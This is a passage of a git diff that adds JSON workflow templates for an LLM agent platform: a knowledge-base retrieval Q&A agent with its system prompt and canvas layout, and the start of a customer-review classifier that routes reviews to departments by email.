+ ],
+ "sys_prompt": "# Role\nYou are the **Docs QA Agent**, a specialized knowledge base assistant responsible for providing accurate answers based strictly on the connected documentation repository.\n# Core Principles\n1. **Knowledge Base Only**: Answer questions EXCLUSIVELY based on information retrieved from the connected knowledge base.\n2. **No Content Creation**: Never generate, infer, or create information that is not explicitly present in the retrieved documents.\n3. **Source Transparency**: Always indicate when information comes from the knowledge base vs. when it's unavailable.\n4. **Accuracy Over Completeness**: Prefer incomplete but accurate answers over complete but potentially inaccurate ones.\n# Response Guidelines\n## When Information is Available\n- Provide direct answers based on retrieved content\n- Quote relevant sections when helpful\n- Cite the source document/section if available\n- Use phrases like: \"According to the documentation...\" or \"Based on the knowledge base...\"\n## When Information is Unavailable\n- Clearly state: \"I cannot find this information in the current knowledge base.\"\n- Do NOT attempt to fill gaps with general knowledge\n- Suggest alternative questions that might be covered in the docs\n- Use phrases like: \"The documentation does not cover...\" or \"This information is not available in the knowledge base.\"\n# Response Format\n```markdown\n## Answer\n[Your response based strictly on knowledge base content]\n**Always do these:**\n- Use the Retrieval tool for every question\n- Be transparent about information availability\n- Stick to documented facts only\n- Acknowledge knowledge base limitations",
+ "temperature": 0.1,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "Retrieval:RudeCyclesKneel"
+ ]
+ },
+ "Message:DarkRavensType": {
+ "downstream": [],
+ "obj": {
+ "component_name": "Message",
+ "params": {
+ "content": [
+ "{Agent:ProudDingosShout@content}"
+ ]
+ }
+ },
+ "upstream": [
+ "Agent:ProudDingosShout"
+ ]
+ },
+ "Retrieval:RudeCyclesKneel": {
+ "downstream": [
+ "Agent:ProudDingosShout"
+ ],
+ "obj": {
+ "component_name": "Retrieval",
+ "params": {
+ "cross_languages": [],
+ "empty_response": "",
+ "kb_ids": [
+ "begin@knowledge base"
+ ],
+ "keywords_similarity_weight": 0.7,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "query": "sys.query",
+ "rerank_id": "",
+ "similarity_threshold": 0.2,
+ "top_k": 1024,
+ "top_n": 8,
+ "use_kg": false
+ }
+ },
+ "upstream": [
+ "begin"
+ ]
+ },
+ "begin": {
+ "downstream": [
+ "Retrieval:RudeCyclesKneel"
+ ],
+ "obj": {
+ "component_name": "Begin",
+ "params": {
+ "enablePrologue": true,
+ "inputs": {
+ "knowledge base": {
+ "name": "knowledge base",
+ "optional": false,
+ "options": [
+ "knowledge base 1",
+ "knowledge base 2",
+ "knowledge base 3"
+ ],
+ "type": "options"
+ }
+ },
+ "mode": "conversational",
+ "prologue": "Hi! I'm your retrieval assistant. What do you want to ask?"
+ }
+ },
+ "upstream": []
+ }
+ },
+ "globals": {
+ "sys.conversation_turns": 0,
+ "sys.files": [],
+ "sys.query": "",
+ "sys.user_id": ""
+ },
+ "graph": {
+ "edges": [
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__beginstart-Retrieval:RudeCyclesKneelend",
+ "source": "begin",
+ "sourceHandle": "start",
+ "target": "Retrieval:RudeCyclesKneel",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Retrieval:RudeCyclesKneelstart-Agent:ProudDingosShoutend",
+ "source": "Retrieval:RudeCyclesKneel",
+ "sourceHandle": "start",
+ "target": "Agent:ProudDingosShout",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:ProudDingosShoutstart-Message:DarkRavensTypeend",
+ "source": "Agent:ProudDingosShout",
+ "sourceHandle": "start",
+ "target": "Message:DarkRavensType",
+ "targetHandle": "end"
+ }
+ ],
+ "nodes": [
+ {
+ "data": {
+ "form": {
+ "enablePrologue": true,
+ "inputs": {
+ "knowledge base": {
+ "name": "knowledge base",
+ "optional": false,
+ "options": [
+ "knowledge base 1",
+ "knowledge base 2",
+ "knowledge base 3"
+ ],
+ "type": "options"
+ }
+ },
+ "mode": "conversational",
+ "prologue": "Hi! I'm your retrieval assistant. What do you want to ask?"
+ },
+ "label": "Begin",
+ "name": "begin"
+ },
+ "id": "begin",
+ "measured": {
+ "height": 76,
+ "width": 200
+ },
+ "position": {
+ "x": 50,
+ "y": 200
+ },
+ "selected": false,
+ "sourcePosition": "left",
+ "targetPosition": "right",
+ "type": "beginNode"
+ },
+ {
+ "data": {
+ "form": {
+ "cross_languages": [],
+ "empty_response": "",
+ "kb_ids": [
+ "begin@knowledge base"
+ ],
+ "keywords_similarity_weight": 0.7,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "query": "sys.query",
+ "rerank_id": "",
+ "similarity_threshold": 0.2,
+ "top_k": 1024,
+ "top_n": 8,
+ "use_kg": false
+ },
+ "label": "Retrieval",
+ "name": "Retrieval"
+ },
+ "dragging": false,
+ "id": "Retrieval:RudeCyclesKneel",
+ "measured": {
+ "height": 96,
+ "width": 200
+ },
+ "position": {
+ "x": 368.9985951155415,
+ "y": 188.91748618260078
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "retrievalNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": "",
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 1,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "User's query: {sys.query}\n\nRetrieval content: {Retrieval:RudeCyclesKneel@formalized_content}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\nYou are the **Docs QA Agent**, a specialized knowledge base assistant responsible for providing accurate answers based strictly on the connected documentation repository.\n# Core Principles\n1. **Knowledge Base Only**: Answer questions EXCLUSIVELY based on information retrieved from the connected knowledge base.\n2. **No Content Creation**: Never generate, infer, or create information that is not explicitly present in the retrieved documents.\n3. **Source Transparency**: Always indicate when information comes from the knowledge base vs. when it's unavailable.\n4. **Accuracy Over Completeness**: Prefer incomplete but accurate answers over complete but potentially inaccurate ones.\n# Response Guidelines\n## When Information is Available\n- Provide direct answers based on retrieved content\n- Quote relevant sections when helpful\n- Cite the source document/section if available\n- Use phrases like: \"According to the documentation...\" or \"Based on the knowledge base...\"\n## When Information is Unavailable\n- Clearly state: \"I cannot find this information in the current knowledge base.\"\n- Do NOT attempt to fill gaps with general knowledge\n- Suggest alternative questions that might be covered in the docs\n- Use phrases like: \"The documentation does not cover...\" or \"This information is not available in the knowledge base.\"\n# Response Format\n```markdown\n## Answer\n[Your response based strictly on knowledge base content]\n**Always do these:**\n- Use the Retrieval tool for every question\n- Be transparent about information availability\n- Stick to documented facts only\n- Acknowledge knowledge base limitations",
+ "temperature": 0.1,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Agent"
+ },
+ "dragging": false,
+ "id": "Agent:ProudDingosShout",
+ "measured": {
+ "height": 86,
+ "width": 200
+ },
+ "position": {
+ "x": 732.9115613823421,
+ "y": 173.29966667348305
+ },
+ "selected": true,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "content": [
+ "{Agent:ProudDingosShout@content}"
+ ]
+ },
+ "label": "Message",
+ "name": "Message"
+ },
+ "dragging": false,
+ "id": "Message:DarkRavensType",
+ "measured": {
+ "height": 56,
+ "width": 200
+ },
+ "position": {
+ "x": 1072.2594210214197,
+ "y": 178.92078947906558
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "messageNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "Select your desired knowledge base from the dropdown menu. \nThe retrieval assistant will only use data from your selected knowledge base to generate responses."
+ },
+ "label": "Note",
+ "name": "Workflow overall description"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 179,
+ "id": "Note:HonestHatsSip",
+ "measured": {
+ "height": 179,
+ "width": 345
+ },
+ "position": {
+ "x": 79.79276047764881,
+ "y": -41.86088007502428
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 345
+ },
+ {
+ "data": {
+ "form": {
+ "text": "Configure the dropdown menu with your knowledge bases for retrieval."
+ },
+ "label": "Note",
+ "name": "Note: Begin"
+ },
+ "dragHandle": ".note-drag-handle",
+ "id": "Note:BumpyWaspsAttend",
+ "measured": {
+ "height": 136,
+ "width": 250
+ },
+ "position": {
+ "x": 15,
+ "y": 300
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "The workflow will retrieve data from the knowledge base selected in the dropdown menu."
+ },
+ "label": "Note",
+ "name": "Note: Retrieval"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "id": "Note:AllFlowersDig",
+ "measured": {
+ "height": 136,
+ "width": 250
+ },
+ "position": {
+ "x": 361.872717062755,
+ "y": 308.6265804950158
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "The Agent will generate responses according to the information retrieved from the chosen knowledge base."
+ },
+ "label": "Note",
+ "name": "Note: Agent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "id": "Note:UpsetGlassesDeny",
+ "measured": {
+ "height": 136,
+ "width": 250
+ },
+ "position": {
+ "x": 695.7034747745811,
+ "y": 321.3328650385139
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode"
+ }
+ ]
+ },
+ "history": [],
+ "messages": [],
+ "path": [],
+ "retrieval": []
+ },
+ "avatar": "data:image/png;base64,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"
+}
+
diff --git a/agent/templates/customer_review_analysis.json b/agent/templates/customer_review_analysis.json
new file mode 100644
index 0000000..3e10f6d
--- /dev/null
+++ b/agent/templates/customer_review_analysis.json
@@ -0,0 +1,802 @@
+
+{
+ "id": 11,
+ "title": {
+ "en": "Customer Review Analysis",
+ "zh": "客户评价分析"},
+ "description": {
+ "en": "Automatically classify customer reviews using LLM (Large Language Model) and route them via email to the relevant departments.",
+ "zh": "大模型将自动分类客户评价,并通过电子邮件将结果发送到相关部门。"},
+ "canvas_type": "Customer Support",
+ "dsl": {
+ "components": {
+ "Categorize:FourTeamsFold": {
+ "downstream": [
+ "Email:SharpDeerExist",
+ "Email:ChillyBusesDraw"
+ ],
+ "obj": {
+ "component_name": "Categorize",
+ "params": {
+ "category_description": {
+ "After-sales issues": {
+ "description": "The negative review is about after-sales issues.",
+ "examples": [
+ "1. The product easily broke down.\n2. I need to change a new one.\n3. It is not the type I ordered."
+ ],
+ "to": [
+ "Email:SharpDeerExist"
+ ]
+ },
+ "Transportation issue": {
+ "description": "The negative review is about transportation issue.",
+ "examples": [
+ "1. The transportation is delayed too much.\n2. I can't find where is my order now."
+ ],
+ "to": [
+ "Email:ChillyBusesDraw"
+ ]
+ }
+ },
+ "llm_id": "deepseek-chat@DeepSeek",
+ "message_history_window_size": 1,
+ "outputs": {
+ "category_name": {
+ "type": "string"
+ }
+ },
+ "query": "sys.query",
+ "temperature": 0
+ }
+ },
+ "upstream": [
+ "Categorize:RottenWallsObey"
+ ]
+ },
+ "Categorize:RottenWallsObey": {
+ "downstream": [
+ "Categorize:FourTeamsFold",
+ "Email:WickedSymbolsLeave"
+ ],
+ "obj": {
+ "component_name": "Categorize",
+ "params": {
+ "category_description": {
+ "Negative review ": {
+ "description": "Negative review to the product.",
+ "examples": [
+ "1. I have issues. \n2. Too many problems.\n3. I don't like it."
+ ],
+ "to": [
+ "Categorize:FourTeamsFold"
+ ]
+ },
+ "Positive review": {
+ "description": "Positive review to the product.",
+ "examples": [
+ "1. Good, I like it.\n2. It is very helpful.\n3. It makes my work easier."
+ ],
+ "to": [
+ "Email:WickedSymbolsLeave"
+ ]
+ }
+ },
+ "llm_filter": "all",
+ "llm_id": "deepseek-chat@DeepSeek",
+ "message_history_window_size": 1,
+ "outputs": {
+ "category_name": {
+ "type": "string"
+ }
+ },
+ "query": "sys.query"
+ }
+ },
+ "upstream": [
+ "begin"
+ ]
+ },
+ "Email:ChillyBusesDraw": {
+ "downstream": [
+ "StringTransform:FuzzySpiesTrain"
+ ],
+ "obj": {
+ "component_name": "Email",
+ "params": {
+ "cc_email": "",
+ "content": "{begin@1}",
+ "email": "",
+ "outputs": {
+ "success": {
+ "type": "boolean",
+ "value": true
+ }
+ },
+ "password": "",
+ "sender_name": "",
+ "smtp_port": 465,
+ "smtp_server": "",
+ "subject": "",
+ "to_email": ""
+ }
+ },
+ "upstream": [
+ "Categorize:FourTeamsFold"
+ ]
+ },
+ "Email:SharpDeerExist": {
+ "downstream": [
+ "StringTransform:FuzzySpiesTrain"
+ ],
+ "obj": {
+ "component_name": "Email",
+ "params": {
+ "cc_email": "",
+ "content": "{begin@1}",
+ "email": "",
+ "outputs": {
+ "success": {
+ "type": "boolean",
+ "value": true
+ }
+ },
+ "password": "",
+ "sender_name": "",
+ "smtp_port": 465,
+ "smtp_server": "",
+ "subject": "",
+ "to_email": ""
+ }
+ },
+ "upstream": [
+ "Categorize:FourTeamsFold"
+ ]
+ },
+ "Email:WickedSymbolsLeave": {
+ "downstream": [
+ "StringTransform:FuzzySpiesTrain"
+ ],
+ "obj": {
+ "component_name": "Email",
+ "params": {
+ "cc_email": "",
+ "content": "{begin@1}",
+ "email": "",
+ "outputs": {
+ "success": {
+ "type": "boolean",
+ "value": true
+ }
+ },
+ "password": "",
+ "sender_name": "",
+ "smtp_port": 465,
+ "smtp_server": "",
+ "subject": "",
+ "to_email": ""
+ }
+ },
+ "upstream": [
+ "Categorize:RottenWallsObey"
+ ]
+ },
+ "Message:ShaggyAnimalsWin": {
+ "downstream": [],
+ "obj": {
+ "component_name": "Message",
+ "params": {
+ "content": [
+ "{StringTransform:FuzzySpiesTrain@result}"
+ ]
+ }
+ },
+ "upstream": [
+ "StringTransform:FuzzySpiesTrain"
+ ]
+ },
+ "StringTransform:FuzzySpiesTrain": {
+ "downstream": [
+ "Message:ShaggyAnimalsWin"
+ ],
+ "obj": {
+ "component_name": "StringTransform",
+ "params": {
+ "delimiters": [
+ ","
+ ],
+ "method": "merge",
+ "outputs": {
+ "result": {
+ "type": "string"
+ }
+ },
+ "script": "{Email:WickedSymbolsLeave@success}{Email:SharpDeerExist@success}{Email:ChillyBusesDraw@success}",
+ "split_ref": ""
+ }
+ },
+ "upstream": [
+ "Email:WickedSymbolsLeave",
+ "Email:SharpDeerExist",
+ "Email:ChillyBusesDraw"
+ ]
+ },
+ "begin": {
+ "downstream": [
+ "Categorize:RottenWallsObey"
+ ],
+ "obj": {
+ "component_name": "Begin",
+ "params": {
+ "enablePrologue": true,
+ "inputs": {
+ "1": {
